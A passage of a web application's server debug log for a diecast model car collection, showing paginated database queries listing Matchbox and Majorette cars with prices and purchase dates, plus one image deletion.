      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:03:19.489Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:03:19.489Z server-connect:app Executing action step identify
2026-02-04T11:03:19.489Z server-connect:app options: { provider: 'security' }
2026-02-04T11:03:19.489Z server-connect:output identity: 1
2026-02-04T11:03:19.489Z server-connect:app Executing action step restrict
2026-02-04T11:03:19.489Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:03:19.490Z server-connect:output restrict: undefined
2026-02-04T11:03:19.490Z server-connect:app Executing action step paged
2026-02-04T11:03:19.490Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:03:19.492Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:03:26.923Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:03:26.923Z server-connect:app Executing action step identify
2026-02-04T11:03:26.923Z server-connect:app options: { provider: 'security' }
2026-02-04T11:03:26.923Z server-connect:output identity: 1
2026-02-04T11:03:26.923Z server-connect:app Executing action step restrict
2026-02-04T11:03:26.923Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:03:26.924Z server-connect:output restrict: undefined
2026-02-04T11:03:26.924Z server-connect:app Executing action step paged
2026-02-04T11:03:26.924Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:03:26.926Z server-connect:output list: {
  offset: 25,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 2,
    total: 2
  },
  data: [
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: null,
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: null,
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 108,
      model_name: 'Jeep Rubicon',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-08-07T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: null,
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:04:47.631Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T11:04:47.631Z server-connect:app Executing action step identify
2026-02-04T11:04:47.632Z server-connect:app options: { provider: 'security' }
2026-02-04T11:04:47.632Z server-connect:output identity: 1
2026-02-04T11:04:47.632Z server-connect:app Executing action step restrict
2026-02-04T11:04:47.632Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:04:47.633Z server-connect:output restrict: undefined
2026-02-04T11:04:47.633Z server-connect:app Executing action step single
2026-02-04T11:04:47.633Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T11:04:47.634Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/D_NQ_NP_729147-MLB97999095945_112025-O_79c42c59-ae46-433d-adbd-96f81de399e8.webp'
}
2026-02-04T11:04:47.634Z server-connect:app Executing action step delete
2026-02-04T11:04:47.634Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:04:47.635Z server-connect:output delete: { affected: 1 }
2026-02-04T11:04:47.635Z server-connect:app Executing action step remove
2026-02-04T11:04:47.635Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T11:04:47.635Z server-connect:output fileRemove: true
2026-02-04T11:04:47.850Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:04:47.851Z server-connect:app Executing action step identify
2026-02-04T11:04:47.851Z server-connect:app options: { provider: 'security' }
2026-02-04T11:04:47.851Z server-connect:output identity: 1
2026-02-04T11:04:47.851Z server-connect:app Executing action step restrict
2026-02-04T11:04:47.851Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:04:47.851Z server-connect:output restrict: undefined
2026-02-04T11:04:47.851Z server-connect:app Executing action step paged
2026-02-04T11:04:47.851Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:04:47.855Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
